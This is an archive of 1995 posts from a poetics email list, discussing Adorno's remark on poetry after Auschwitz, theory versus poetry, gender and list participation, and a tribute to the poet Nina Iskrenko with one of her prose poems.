Perennial suffering has as much right to rexpression as a tortured man has to scream; hence it may have been wrong to say that after Auschwitz you could no longer write poems. But it is not wrong to raise the less cultural question whether after Auschwitz you can go on living--especially whether one who escape by accident, one who bu rights should have been killed, may go on living. His mere survival calls for the coldness, the basic principle of bourgeois subjectivity, without which there could have been no Auschwitz; this is the drastic guilt of him who was spared. (_Negative Dialectics_. Trans. A.B. Ashton. New York: Continuum, 1973. 363.)

A few pages on: "All post-Auschwitz culture, including its urgent critique, is garbage" (367).

Steve Evans

David wrote:
>I wonder if someone might identify a quote that goes something like:
>
>"All poetry after the holocaust is..."

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346. **Edward Foster**
Re: Language Poetry
Tue 21 Feb 1995

that times piece was one of the silliest things they've ever published, of cours

↑ Index

347. **Robert Drake**
Re: Congratulations to TREE (TapRoot Electronic Edition)
Tue 21 Feb 1995

loss--

greetings again. i'm starting in earnest the task of formating TRee into WWW--having finally gotten a web-capable connection & getting a grip on what i'm aiming at. i've prototyped the home page & index pages, which i 'll send you fr input. are you/the EPC still up for hosting the documents?? i'm checking again, 'cause i'm beginning to realize what might be involved... & if yr still up for it, a technical question: are there lenght/format restrictions on the names of documents on your system? that'll impact the names i assign for links, so let me know...

basically, my general plan is to link the homepage to 2 directory pages ([redacted] zines & chaps), each of which will have alphabetic subcatagories ("zines A", "zines B"... "chaps author A"... etc); each of which will link to the actual index for "Zines/a" "Zines/B" etc...--then those indices will link to the individual reviews. what this would mean, for you, is everytime a new issue comes out, there would be a group of documents to add (one for each publication reviews), AND the various index files ([redacted] both zines & chaps) would have to be replaced with new versions... if this is unclear, i'll send (on disk) the initial prototype. if it _is_ clear, and looks to be more than you bargained for, lemme know.

i'm kind of psyched to actually have documents coded & linked, and daunted by the prospect of converting all the back issues into the new format. but i think it'll be pretty impressive when done, and ultimatly may GET SOME OF THIS STUFF READ, which is ov course the goal not to loose site of.... i'm curious, too, if the mention in _Online Access_ had a noticable impact on logins to the system--any statistics yet?

morelater

luigi

↑ Index

348. **Jeffrey Timmons**
Re: refried theory and deified beans
Tue 21 Feb 1995

To eric, et al: It's good you bring up the view that all culture should be historicized. I've been reading Said's _Culture and Imperialism_ and the point is not simply to historicize, but to point out that the supposed greatness and fact of existence of European culture is made possible, implicated to the highest degree, with the system of imperial/colonial exploitation. Beyond this, Said suggests looking at discrepent experiences of colonial relations--texts from different perspectives on colonial experience whose commonality does not efface their important differences. This is a rejection of a "pure" aesthetic realm; a rejection of "humanism"; a rejection of "unitariness; and an imperative to unthink the ridgid separation of politics and aesthetics. One should include theory in the latter, I believe, and, even, indict it on the same terms.... Just some thoughts.

Jeffrey Timmons

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349. **Jeffrey Timmons**
Re: refried theory and deified beans
Tue 21 Feb 1995

To Eric, et al: Oh, I forgot: the only reason I mention Said and some of his ideas is that he refers to Visawanathan's book (indirectly; as a student of his I believe) in his own book.

Jeffrey Timmons

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350. **David**
Quote
Tue 21 Feb 1995

I wonder if someone might identify a quote that goes something like:

"All poetry after the holocaust is..."

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351. Jeffrey Timmons
Re: Quote
Tue 21 Feb 1995

Adorno was obviously a pessimist. A cynic. But did that keep him from exercising his own critique? Perhaps it is garbage, but there seems to be an equal if not more pressing imperative/responsibility to produce/create/make/whatever in the face of such institutional forms of fascism. Today.

Jeffrey Timmons

↑ Index

352. Tony Green
Re: A Cockney Sparrow
Tue 21 Feb 1995

Spencer Selby says:"I expect something of the results of my poetry; anyone who i poet expects something of the results. But that does not mean I have a need to formulate what those results will be, or necessarily mean. I may anticipate those results, which is quite different from formulating them, since my anticipation may involve a range of responses that need not be explained or characterized in a theoretical way."

Dear Spencer, I would like you to look closer at "anticipation of results", because I think you could find just there, thought that may never be more than muttered to yourself, or even quite silent, but in which something other than the poem to be written or the poem in hand or the poem just written is saying, for example "Some other person(s), whether living or dead, would like/not like this, because...." how is that not theoretical, that is dependent on a stance in regard to others who will read or hear the poem. Will it "move" someone else in any way? I would have thought that the use of theory to poets was that in between writing they could sort out what went wrong with the last poem or what went right. Between posts (?poems) several people on this list are theorizing the post and the network. What you seem perturbed about is the thought that poems should conform to a prior encapsulation of right method(s) for producing what has already been determined as "good" poetry. Theory as prescription is a worry, yes. But that doesn't mean that poetry can be disentangled from the theory that goes into the making of it.

Cheers,

Tony Green,
e-mail: [redacted]
post: Dept of Art History,

University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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353. Tom Mandel
Re: Nina Iskrenko
Tue 21 Feb 1995

I must echo what Ron said of Nina Iskrenko, whom I met only once and then in a passing way, but heard in conversation that evening. A great brilliance proceeded from her, and it is a corresponding loss.

Ed Foster's mention of her death under the rubric "boy talk" has at least the excuse that he's new to email. I have no excuse at all.

Tm

↑ Index

354. B. Cass Clarke
Re: the holy Dead
Tue 21 Feb 1995

Dear Ed and Tm,

Pardon my widow's weeds, but nobody needs an excuse. Stop tripping over yourselves for being "insensitive." There is nothing wrong with boy talk. Perhaps the poet had a sense of humor.

B. Cass Clarke
[redacted]

↑ Index

355. Patrick Phillips
Nina Iskrenko
Tue 21 Feb 1995

I met Nina once here in Providence last year. As Ron said, she had a keen wit and a great sense of humor. She also possessed the ability to be, to simply engage in conversation with a conviction that never once waivered. At our very brief encounter I told her of a project I'm working on and three months later,

battling breast cancer, she sent four "poems for deaf people" - drawings of the slightest filigree composed entirely of words. They remind me of some of Michaux's line-work and captivate with a similar drift between language and line, between cultures - so to speak. This gesture provides a lasting tether. Here's one of her poems from "Third-Wave" (pg 91) translated by Anesa Miller-Pogacar:

/a biography from the opposed, 1989/

The author belongs to the generation born in the 1950's and realizing its creative strivings in that period of our history that proved to be an epoch of sharply developed absurdism and carefully preserved principles of highly artistic stagnation. Being accustomed since childhood to the paradoxical phenomena of everyday life with theri unforseeable consequences, knowing how to get my in the majority of situations without common sense or psychological ease, with a strict immunity to all that can be had without struggle, that wich is passed out one apice-all of this sooner or later creates a corresponding supply of firmness, or, if you wish, a natural conservatism, pritecting its bearer from simple decisions and direct paths to even the most obvious truths, This healthy conservatism lays a noticeable imprint on the stylistics and character of the depicted, and it also explains-metaphorically at least - a cluster of phenomena that defy more reasoned means of interpretation. Specifically, these are certain facts of the "biography from the opposed." Having obvious inclinatins toward the humanities-toward literature, musci, drawing, etc.- the author nonetheless spends six years studying at Moscow University in order to, having obtained a diploma in physics, never again to return to the natural sciences, those ex-personal froms of interacting with the surrounding reality; having selected, as primary orientation, the word, and as shelter of necessity - the trivial pusuit of work as a translator of scientific and techinical literature from English to Russian. A family and two children convincingly fill out the picture of a normal existence for a Russian woman in the contemporary literary process, an existence that was secret for many years and even shameful in the eyes of others, to reveal itself only in the past year or two with a few publications. Thus, it is not surprising that the author accepts any signs of attention paid to her humble persona with a certain dubiousness and perplexity; for this she offers excuses in the form of gratitude, and gratitude in the form of a text whose rehearsal coincides with its final result.

↑ Index

356. **B. Cass Clarke**
A Worm?
Tue 21 Feb 1995

Dear Benji,

I was shocked, simply shocked to see your persona bandied about so cavilierly on this list. Is this some form of "get the guest" as in Virginia Woolf (who's afraid of)?

You have my condonlences and solid aridy.

B. Cass Clarke
[redacted]

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357. **eric pape**
Re: Quote
Tue 21 Feb 1995

Just a brief reply, but I think it is a majoy misunderstanding to think of Adorno as a cynic. A pessimist, certainly. To some extent a paralyzed thinker, I grant. But not a cynic. A cynic gives in to the barbarity. A cynic gives up the ever more problematic possibility of Utopia. Adorno had a hell of a lot of problems as a person and sometimes as a thinker, but he was never a cynic. Thanks, Eric.

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358. **Patrick Phillips**
corrected Nina Iskerenko poem
Tue 21 Feb 1995

Sorry for the repost - Just thought I oughtta get it down right.

/a biography from the opposed, 1989/

The author belongs to the generation born in the 1950's and realizing its creative strivings in that period of our history that proved to be an epoch of sharply developed absurdism and carefully preserved principles of highly artistic stagnation. Being accustomed since childhood to the paradoxical phenomena of everyday life with their unforseeable consequences, knowing how to get by in the majority of situations without common sense or psychological ease, with a strict immunity to all that can be had without struggle, that which is passed out one apiece - all of this sooner or later creates a corresponding supply of firmness, or, if you wish, a natural conservatism, protecting its bearer from simple decisions and direct paths to even the most

obvious truths, this healthy conservatism lays a noticeable imprint on the stylistics and character of the depicted, and it also explains - metaphorically at least - a cluster of phenomena that defy more reasoned means of interpretation. Specifically, these are certain facts of the "biography from the opposed." Having obvious inclinatins toward the humanities - toward literature, music, drawing, etc. - the author nonetheless spends six years studying at Moscow University in order to, having obtained a diploma in physics, never again to return to the natural sciences, those ex-personal forms of interacting with the surrounding reality; having selected, as primary orientation, the word, and as shelter of necessity - the trivial pursuit of work as a translator of scientific and technical literature from English to Russian. A family and two children convincingly fill out the picture of a normal existence for a Russian woman in the contemporary literary process, an existence that was secret for many years and even shameful in the eyes of others, to reveal itself only in the past year or two with a few publications. Thus, it is not surprising that the author accepts any signs of attention paid to her humble persona with a certain dubiousness and perplexity; for this she offers excuses in the form of gratitude, and gratitude in the form of a text whose rehearsal coincides with its final result.

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359. **eric pape**

Re: refried theory and deified beans

Tue 21 Feb 1995

Sorry Alan. Of course.

Viswanathan, Gauri. *Masks of Conquest: Literary Study and British Rule in India* New York: Columbia Univ. Press, 1989.

Wow. It suddenly occurs to me that by today's standards this is not all that new after all.

Thanks, Eric.

↑ Index

360. **B. Cass Clarke**

Romantic

Tue 21 Feb 1995

Dear Mike:

War bird decloaking at starboard. I wonder if anyone has read Sidney or Shelley's Defense of Poetry in the last 20 years? I think "theory" has taken the place of philosophy in the equation. I used to think it was pseudo-psychology in its reading of poetry and its authors.

All lean toward the destruction of poetry's power as soverign in human imagination. Without the poets there is no hope. We will not be educated, consoled, inspired, loved or moved to action in this brazen world - only the poets can deliver a golden (to quote a buddy).

We all know who they are. They are written on our hearts. Whether alive or elsewhere they get the job done, usually alone, on the screen or in the streets, curled up around a terminal or allowing it to fade "like a sand painting at the end of day" their labors keep all of creation going - otherwise all is entropy. All else is A River of Ka-Ka sold at a very high price.

When I think of theory and Blake, I know he came to his in the work - and when he found it he abandoned the Four Zoas to write Jerusalem.

I believe every poet discovers "theory" in this way. It reveals itself.

All hail the Poets. They keep us free and laughing in an other-
wise dismal prospect. Call me Post-Romantic.
B. Cass Clarke
[redacted]

↑ Index

361. **Chris Stroffolino**
Re: theory and being heard
Wed 22 Feb 1995

Dear Mark (Wallace), in response to your claim of having to be a theory to be heard, what then do you have to be to listen? Do only theories listen to theory? In any event, I do not claim to find any comfort in the hegemony of "theory" in the academy, and I do not intend my response to be "flip" and "merely rhetorical" but "THEORY IS POETRY IN DRAG" can, as a motto, approximate a perspective a legitimate (i.e. IT PAYS) tradition is (re)-forming around, regardless of ruptures that on an institutional level are reinscribed into what becomes read as a "debate." I am trying to avoid the cynical resignation in the face of a compartment- alized view of the world. For such "resignation" simply perpetuates it. And if I may lapse for a second an indulge myself in a freudian metaphor, isn't it possible, Mark, that sometimes what seems more like "theory" than "poetry" actually falls more on the "side" of the intrinsically motivated ID rather than the extrinsic SUPEREGO? And thus, ocassionally if you didn't DO POETRY you'd be out of a job? Or is this just a matter of interpretation on my part.... As for Alan Golding's rewording of what many have called "theory" as really POETICS, which he claims is an institutional rather than essential distinction, that doesn't seem "accurate"--for "academic theory" only becomes poetics if put into dialogue with poets and or poems... Granted, we're on a POETIC list, so

we can claim we're some kind of hermetically sealed interpretative community gathered around some transcendental signifier BUT isn't the question to some extent the idea that there exists this THEORY which in itself is HOSTILE to poetry, in a way quite different from "poetics" is... Now, this "hostility" of course brings in the whole question of whether thinking binary is a CAUSE of cultural disenchantment or merely a rhetorical exercise to show off one's "wit" with not externAl ramifications in the "real world"--And thus, that dreaded question of TONE becomes raised again in a piece of writing (this) that is marketable NEITHER as theory or poetry, and then one wonders if there is communication only with commodification, and I drank another dollar to quench my thirst for anti-naive-vulgar organic humanism (which of course is really really really what we all want "underneath it all") All of my love, Chris

↑ Index

362. Marjorie Perloff

Re: Alan Golding's queryPOETICS Digest - 20 Feb 1995 to 21 Feb 1995

Wed 22 Feb 1995

Dear Alan and others-- Susan Schultz and I discussed the boy/girl issue in Hawaii two weeks ago and I brought it up when Ron Silliman, Lyn Hejinian, and Leslie Scalapino were here for the Ginsberg censorship affair last week. Interestingly, Lyn and Leslie say they never see the poetics net; Joan Retallack tells me the same thing and I guess in general we girls just don't do it as much. Why? (1) as one correspondent wrote in, we DO have too much to do. I don't see how the men have the TIME to write endlessly back and forth. and (2) this mode of communication is somehow unsatisfactory to women. It really IS a gender issue, I think. I like to write to someone, not everyone/ anyone. A mode of address. A form of life. Writing to those "out there" is somehow unappealing, as Kathleen Fraser was saying the other day. So: it's great for messages like, "What is the title of that book?" or here are three conferences coming up--a bulletin board. But beyond that? well-I think we'll let the men go for it.

Another topic (here it's useful): who IS Dinitia Smith, who wrote that article? She never contacted me but I did get a call from the photo dept asking for a picture. The dept. here sent it and then they called back to say sorry, they could only use "one in every category." I was so glad the cartoon wasn't of me. Where did she learn of her "language poets"?? I wonder who was her source of information? Bye, men!

Marjorie Perloff

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363. Jeffrey Timmons
Re: refried theory and deified beans (fwd)
Wed 22 Feb 1995

This apparently didn't get sent. I'm forwarding it from my files.

---------- Forwarded message ----------
Date: Tue, 21 Feb 1995 18:01:31 -0700 (MST)
From: [redacted]
To: UB Poetics discussion group <[redacted]>
Cc: Multiple recipients of list POETICS <[redacted]>
Subject: Re: refried theory and deified beans

To eric, et al: It's good you bring up the view that all culture should be historicized. I've been reading Said's _Culture and Imperialism_ and the point is not simply to historicize, but to point out that the supposed greatness and fact of existence of European culture is made possible, implicated to the highest degree, with the system of imperial/colonial exploitation. Beyond this, Said suggests looking at discrepent experiences of colonial relations--texts from different perspectives on colonial experience whose commonality does not efface their important differences. This is a rejection of a "pure" aesthetic realm; a rejection of "humanism"; a rejection of "unitariness; and an imperative to unthink the ridgid separation of politics and aesthetics. One should include theory in the latter, I believe, and, even, indict it on the same terms.... Just some thoughts.

Jeffrey Timmons

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364. cris cheek
Arrow and Sparrow
Wed 22 Feb 1995

Hi Tony, and it's a cheep cheep
from the chirpy
over, "here, here!".

Of course your take on 'theory' and 'poetry' does presume that everybody writes poems with a reader 'in mind'. Or, splitting it down more to further - a reader Other than Them Selves. But even a dialogue within Them Selves' work will produce the intimate inter-relations you articulate.

> *I would like you to look closer at "anticipation of results", because I think you could find just there, thought that may never be more than muttered to yourself, or even quite silent, but in which something other than the poem to be written or the poem in hand*

> *or the poem just written is saying, for example "Some other person(s), whether living or dead, would like/not like this, because...." how is that not theoretical, that is dependent on a stance in regard to others who will read or hear the poem.*

At heart (I'm recently reconciling myself to using what I saw before as a centralising anatomical reference but now re-emphasise its decentralising function, from the left) poetry is social (interpersonal and yes political) in a most challenged sense.

The issue which has been mentioned several times here is that of voicing, reading out loud - which seems crucial to this discussion. It makes a useful bridge (I'm always up for building 'em) to issues of composition and to oral - improvisatory traditions and innovative oral - improvisatory 'practice' (surely it's always practice, however 'accomplished it gets - that's its edge which admits process - is process an institution?).

Having said which I would also be disturbed by what you describe as 'poems being written in order to conform to a prior encapsulation of right method(s) for production'. That way lies closure. But is anybody on this list proposing that? I've read no evidence of it. Thanks for your post - it may have wafted the smokescreen a touch.

I.m worried that there is an idealism footloose with the fancy that's chirping a hymn of variation - too whit:

'there is a theory far away, without a city wall'

love and love
cris

↑ Index

365. braman sandra

Re: Finally, boy talk

Wed 22 Feb 1995

OK, finally I'll "delurk" on boytalk as a woman who follows/participates in/listens to the poetics list -- may we at first all, please, stop generalizing in any of your statements to ALL women? There hasn't yet been one statement that has appeared yet that would apply to us all, and I for one intend to keeping waving my arms in as many shiva thousands of ways as possible . . . . Sandra Braman

↑ Index

366. **Joe Amato**
aunts and sisters... and uncles... and cousins...
Wed 22 Feb 1995

---

without 'taking sides,' i'd like to express my enthusiasm for nada's assertion that it would be a "waste of a medium" for women to let "the men go for it"...

there are all sorts of gender issues at stake in a space such as this... it's not simply how many women post/lurk vs. how many men (though this is in fact *does* constitute, for me, a sort of bottom-line litmus of gender), there's also the question raised by alan golding as to the parallel boy talk/theory threads (for example)... part of the way to see these threads as connected IS simply not to treat them as separate (!)... i mean, why is the boy talk thread by its very nature NOT theoretical?... i would have to argue that it is in fact a theorized discussion---though it's theory in a different vein, hence it's perceived (by some) as atheoretical... i had in mind two items in reading alan's post: rachel blau duplessis' essay "for the etruscans" (a poetic inquiry into "feminist aesthetic") and what i've heard from certain communities of women (virtual and otherwise) re "theory"---that it's all too often practiced in ways that exclude alternative voices/soundings...

a few typos in that paragraph above, i hate line editors...

anyway... there's something about that suggestion (who made it?) about shutting up and letting the women speak that appeals to me, albeit i understand this as a provisional gesture... we have to learn to dance with one another...

and believe me, this medium filters out *my* more active (male, i guess) presence (ftf, that is), so i'm not pretending in any way to have developed an immunity to what i'm busy t/hereabouts criteeking...

so i'll shut up now...

joe

↑ Index

367. **Gary Sullivan**
Re: New from Sun & Moon
Wed 22 Feb 1995

Dear Alan Golding & everyone:

The discussions re: "boy talk" and "theory" *have* crossed over: In my original post, to which Bill Luoma was responding, I'd noted that Gertrude Stein, Mina Loy and Djuna Barnes didn't provide separate bodies of criticial writings (I said Stein's "criticism" or "theory" or "poetics" didn't feel "separate" to me--that _How to Write_ felt not much different in style, approach & intention to (say) _A

Novel of Thank You_), and was hoping POETICS list readers might pick up on the fact that these writers were women. Implication being (generally) that "poetics talk" or "theory" *tends* to be a male preoccupation. Of course that's a wild generalization to make--there are exceptions. Also, I didn't mean to imply that language poetry was wildly successful in academe, but that relative to Stein, Loy & Barnes (& let's add Bernadette Mayer--another influence on language and other contemporary writers), well, relative to writers like Bernstein, Andrews, Silliman, Scalapino, Perelman & so on, the earlier 20th century women experimental or exploratory or whathaveyou writers weren't acknowledged by people in universities as quickly as the language poets have been. (Not by *all* people in universities, or *all* universities, mind you.) I suppose you could say that Stein's Yale series was a form of academic "acknowledgment"--but, I'd argue that she *paid* for those books to be published (the money for them left via her will), and that, of course, Yale never bothered to reprint any of them after they went out of print. (Except for a _Selected_.)

Of course, the _Times_ article on "The Poetry Pantheon" was ridiculous, but do note that the only "exploratory" group of poets mentioned there was the language poets--as though all of us writing non-mainstream poetry were "language poets." I was amazed, reading a fairly recent essay by Jefferson Hansen that appeared in _Poetic Briefs_--& Jeff's a really talented poet & not unbrilliant guy--I was amazed that he could imply that younger poets (like myself & hundreds--thousands?--of others) were all "influenced" or, in his words, "were greatly indebted to" the language poets. This is absurd, of course, and suggests that what might have happened or be in the process of happening is that people are tending to lump all "exploratory" poets into a single camp: language poetry. My own influences are mostly artists, writers & thinkers who did their work prior to 1970.

At any rate, I'd love to hear what others, men or women on this list, have to say about "theory" or "poetics"--especially what the women have to say: *Is* theory, *is* this notion that "Great poets have & make public their insights into other 'great' poets" a particularly *male* preoccupation? (Alan, if you don't know what that quote refers to, if you lost Bernstein's original post, e-mail me separately & I'll pass along the original post, which was a selection from a new book Sun & Moon has just published.)

Yours,

Gary.

---------- Gary Sullivan
__ __ ____ ___ ___ ____ [redacted] /__)/__) / / / / /_ /\ / /_ /
/ / \ / / / / /__ / \/ /___ / ----------

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368. **Gary Sullivan**
Re: Quote
Wed 22 Feb 1995

Dear David:

I don't remember offhand who said that, but if memory serves me, it was re-quoted by Eliot Weinberger in one of his two essay books (_Outsider Stories_ or _Works on Paper_). I don't have either of those books anymore so I can't look them up for you, but I'm pretty sure you'll find it--and I think Weinberger did cite the original--in one of them.

Good luck. Yours--Gary.

---------- Gary Sullivan
__ __ ____ ___ ___ ____ [redacted] /__)/__) / / / / /_ /\ / /_ /
/ / \ / / / / /__ / \/ /___ / ----------

On Tue, 21 Feb 1995, David wrote:

> *I wonder if someone might identify a quote that goes something like:*
>
> *"All poetry after the holocaust is..."*

↑ Index

369. **Gary Sullivan**
Re: Perloff's post
Wed 22 Feb 1995

Dear Marjorie:

Too busy doing other things? You mean, like _Radical Artifice_? Marjorie, that's disingenuous of you to say you're above "boy talk," considering you make your living writing about poetry & poetics & theory--what we're equating (or what some of us are equating here) with "boy talk."

Maybe what you mean is that you're above writing about theory *here*, where you're not getting paid to do it? Are your classes at wherever you teach totally unlike the discussions here on the net?

I think you've more to offer this discussion than pooh-poohing it wholesale, & hope you'll maybe consider posting more.

Yours,

Gary

---------- Gary Sullivan
__ __ ____ ___ ___ ____ [redacted] /__)/__) / / / / /_ /\ / /_ /
/ / \ / / / / /__ / \/ /___ / ----------

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370. **eric pape**
Re: refried theory and deified beans (fwd)
Wed 22 Feb 1995

Jeffrey: Right. What can I say. That's pretty much exactly what I intended my remark to do. I'd like to respond much more to this idea, particularly on Said's figure of the intellectual which he models in a very weird way on Auerbach and many of the German philologists, but I just don't have time. I love this list, and as Nada indicated, it provides a complete unknown like me, someone out of the blue, unconnected to any of the power centers, a forum and a voice. Unfortunately, I never have the time to take full advantage of it. Thanks, Eric.

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371. **eric pape**
Re: Romantic
Wed 22 Feb 1995

Cass (I hope that's right and not "B.Cass?"): I'd like to respond to your message personally and sort of "out" myself in the process. I want to do this because I'd like very very very much to believe in what you say; that poetry makes a difference; that it can save the world; that's why, I think, most of us are here, huh? But I'm troubled by the resistence to the various discources (let's not pin it down to post-structuralism, poetics, philosophies, etc: theory is what is used) that come, today, under the category of "theory." When I graduated from high school, barely I might add, I knew I was interested in writing poetry. Knew that's how I wanted to spend my life. Didn't know where to, though, because where I grew up the only book store in town was a used paper back place that sold mostly horror and romances. So, like many of my friends, I went to the local community college, where a teacher became interested and encouraged me to keep writing, and indeed to go into a "writing program." So I shuffled off to a CSU in the San Fernando Valley, the only place I could get into with a 1.9 hi school average, and became very interested in the scene down there, Beyond Baroque, the BEBOP, etc. My profossers of writing encouraged me to read langpo, and ny school etc, because of course this was a hip school after all, if it couldn't quite be a prestigious one. The point is that they were very receptive. (If this is boring you can skip to the last paragraph; I'm currently

involved in the very Foucault-esque thrill of confessing and realize this is more of a kick for me than you) Ultimately, I went to a graduate writing program here at LSU. I studied with Codrescu, and Rodger (hey Rodger) and Dave Smith. Odd grouping, I know and in fact, for me, this was very disconcerting because I kept getting mixed ideas as to what poetry was. I became very confused as each tried to shape my work. I began writing a kind of workshop poetry (as Golding terms it and it is a very good term), though I tried to reconfigure it, subvert it as I discovered the fiction of Acker and to a certain extent Auster. But I was never quite satisfied. I graduated and stayed for a Ph.D. I discovered theory, particularly the to me thrilling and disparate writings in Western Marxism. Then I discovered post/neo colonial stuff, and I began re-reading my poetry and the poetry I was reading and I realized how naive I was;they were. How much they left out because they weren't keeping up with the explosion of extremely various writings out there all called theory. I re-read Frank O'Hara, found him to be fabulous in ways I never saw before. The l-school I saw as being the most sophisticated thinkers in poetry I knew. I re-read Audre Lorde, Sonia Sanchez, found them tapped into culture more intimately then any of the mainstream political poets. Ultimately, I signed on to this list and I realized (suck up) that I could talk about these things for the first time with other poets, which I couldn't do before (except with Rodger, obviously). Realized that there were differences there, but they were aware, into it, not still talking about line breaks, point of view, etc. And that's where I am now. Stuck selling a book I wrote when I was a little more naive, though the things I was writing about I still think was very important to me but the way I was writing seems naive, dated. And better working, still working, on a method that ties in everything I've learned then, and now. The point is that if you are not aware that as you write to certain extent you are theorzing, you end up theorizing badly, which is what I was doing. You end up seeming naive, lost, confused. I know, Cass, that you and all the others on this list perhaps cannot identify too much with my story because you already knew the "avant-garde" was the most interesting and legitimate tradition, the only international one, as I believe Tom said. But I didn't. Didn't even understand it. Until I began to theorize. Hope this didn't just bore the hell out of you, but I believed your post required the most fully "historicized" response I could muster. Thanks, Eric.

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372. **nada**

Poetics List Takes Toll On Tough Birds

Wed 22 Feb 1995

***

Subject: Poetics List Takes Toll On Tough Birds
Copyright: 1999 by The Anti-Hegemony Group
Date: 21 Mar 99 12:12:12 PST

Lines: 57

SAN FRANCISCO (AHP) -- A cyberzoo can take its toll on even the toughest old birds, and these birds were never very tough to begin with.

Forty-four ``light-winged Dryads of the trees'' have fallen dead silent; a population that once reached 44 is down to four.

``It would appear ... that it's the wrong zoo for the species and, indeed, it's no doubt the wrong species for zoos,'' said Kali Tal, president of the animal rights group Hungry Generation.

But generalizations are difficult. For instance, these particular nightingales share neither habitat nor coloration. They come in all shapes and sizes. Some call Hawaii home, some

Group bleari.nooz.boids available: 32 - 23 unread: -9

article 32 20-MAR-1999 12:12:12

hail from Buffalo. And their song is not necessarily the same one heard by ``emperor and clown.''

In fact, the unusual braying sound has earned the birds a nickname from snide zookeeper Ira Lightman -- ``jackass nightingales'' -- though others describe the sound as more like the coo of an angry dove.

But why are the birds so stressed?

For one thing, there are well over five males competing for the attention of one female, a panel of experts noted.

For another, unknown predators have gotten into the feed lines and parodied several of the nightingales.

And instead of a big, blue sky to parade in when they get hot and bothered, they have a 1-foot-square screen.

Still, said Kali Tal, relenting in her earlier pessimism, ``birds do just fine on other lists.''

A panel of experts made their official recommendation this week in a memo to head superintendent Charles Bernstein. According to a secret source, the memo urged a shutdown of ``[redacted],'' and immediate dispersal of the birds.

Group bleari.nooz.boids article: 32 - 23 unread: -9

article 32 20-MAR-1999 12:12:12

``The nightingale issue has gone beyond what is in the best interest of the nightingales, and I want to refocus on their welfare,'' said noted animal rights activist Liz Willis.

List spokesperson Alan Golding acknowledged the ``bird talk'' program has had its ``ups and downs.''

``We're out of kilter right now, definitely out of kilter,'' he said.

Noted another expert, Juliana Spahr, ``The problem is the concept of aviaries itself, you know, birds perched on swings. We'll have to do away with the whole `polly wanna cracker' mentality if we want any actual change.''

The last time activists got so upset at the zoo was in 1994, when Betina, a 5-ton bull elephant, died after being tranquilized so she could be caged for shipment to a more suitable list.

Most of the nightingales died of diseases that were aggravated by stress due to boredom, competition and malnutrition, the panel said.

Poetics has tried to give the birds more ventilation in their tiny pens by installing a new subject line and cutting

Group bleari.nooz.boids available: 32 - 23 unread: -9

article 32 20-MAR-1999 12:12:12

back on brashness. It's also considering zookeeper Mark Nowak's recommendation that other species of birdsong be piped into the aviary. And it's looking at easing the gender pressure by boosting the population to include as many females as males, consultant Cris Cheek said.

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373. **nada**

aunts and sisters

Wed 22 Feb 1995

Dear Marjorie, Men, and Marginalized:

In a recent post, Marjorie Perloff wrote:

> *I guess in general we girls just don't do it as much.*

Really?

And gave the following reasons. The first one makes perfect sense to me:

>Why? (1) as one correspondent wrote in, we DO have too
>much to do. I don'tsee how the men have the TIME to write
endlessly back and forth.

but I must take isue withthe second one :

> *and (2)this mode of communication is somehow*
> *unsatisfactory to women. It really*
> *IS a gender issue, I think. I like to write to someone, not >everyone/anyone.*
> *Writing to those "out there" is somehow unappealing, as*
> *Kathleen Fraser wassaying the other day.*
> *So: it's great for messages like, "What is the title of that*
> *book?" or here are three conferences coming up--a bulletin*
> *board. But beyond that? well-I think we'll let the men go for*
> *it.*

This mode of communication is not unsatisfactory to me -- and ain't I a woman? It's not perfect, but it's not a bad substitute for a real live community. After just a few posts I've made several valuable personal connections via this list. Gone are the strictures of geography and social placement. My interlocutors are not limited to people I know, hence "internet" -- a "form of life" -- a cocktail party where everyone's invited, and it doesn't matter what you wear, just as long as you are there . . .

Not to attack ad feminem, but it's one thing if you are a tenured person of power at a major university with a brood of influential books -- you don't need a forum. I do. I don't have time for or invitations to all those conferences. I am not in close proximity to good English-language libraries or small press bookstores. Usually when I hear my language spoken it's work-related or expat gossip or badly -translated news. Or the beautiful flawed pidgin from my students.

And if writing to those "out there " is unappealing, why not just write letters? Why publish anything? No desire at all to ripple the pond? Trace your subjectivity? Make your voice resound? Of course you want to do these things -- Marjorie, Kathleen, Leslie -- or you wouldn't be in the positions you're in now. You (especially Kathleen) would not have made it possible for me a generation down to say what I'm saying right now. All the net's a stage! And the men are all the players. . .

Letting "the men go for it" is the waste of a medium, the
waste of minds, a passive knuckling-under, tantamount to
letting the men make wars, oppress people, and argue
themselves into nightmares of sophistry. So I will agree that
"it really IS a gender issue," but not in the way you mean.

So I send out this call to my good and strong aunts -- if you speak here, you make space for me (and my sisters -- pardon the 70's-ish rhetoric) to speak here too. You'll also make the discussions decidedly more interesting.

-- Nada

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374. Alan Golding

Re: Alan Golding's queryPOETICS Digest - 20 Feb 1995 to 21 Feb 19

Wed 22 Feb 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Dear Marjorie:

I'll see if I can tempt you into writing to everyone/anyone again.

On your first point: I'm not sure that the gendered differences in participation on the list occur because the women have more to do than the men.(I do wonder, like you, where some folks find the time, as I find even skimming the list tremendously time-consuming). We can probably agree that even in working-couple-with-family households like Gabrielle described, in arrangements where there's a conscious, sustained effort to make things equitable, women often end up being stuck with more of the load. But I'm not sure that the quantitative difference between male and female work loads/responsibilities is large enough to explain the participation differences we've been talking about. At least, it's not among my peers and in the community in which I live. In other words, I don't think this notion that women simply have tons more to do than men will really wash, will it?

And is this mode of communication somehow unsatisfactory to women? I've been wondering about that myself; we've had posts suggesting how it might be, and Kali especially, though others have too, has talked about how it might be. But I much prefer to write to someone, too. (I think this is probably the first public e-mail letter you and I have written to each other.) On the whole this preference may be gendered, but I do think there are other issues beyond that.

What are they? Wish I had time to figure that out.

Alan

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375. B. Cass Clarke
forwarded with permission from BF
Wed 22 Feb 1995

From: IN%"[redacted]" "Ben Friedlander" 22-FEB-1995 19:48:
To: IN%"[redacted]"
CC:
Subj: RE: A Worm?

id <[redacted]>; Wed,
22 Feb 1995 19:48:48 -0500 (EST)
Date: Wed, 22 Feb 1995 19:48:48 -0500 (EST)
From: Ben Friedlander <[redacted]>
Subject: Re: A Worm?
To: [redacted]
Organization: University at Buffalo

Cass,

Yeah, friends have been pinging me the bandwidth in question for a while now. I find some of it funny and some stoopid, or both at once.

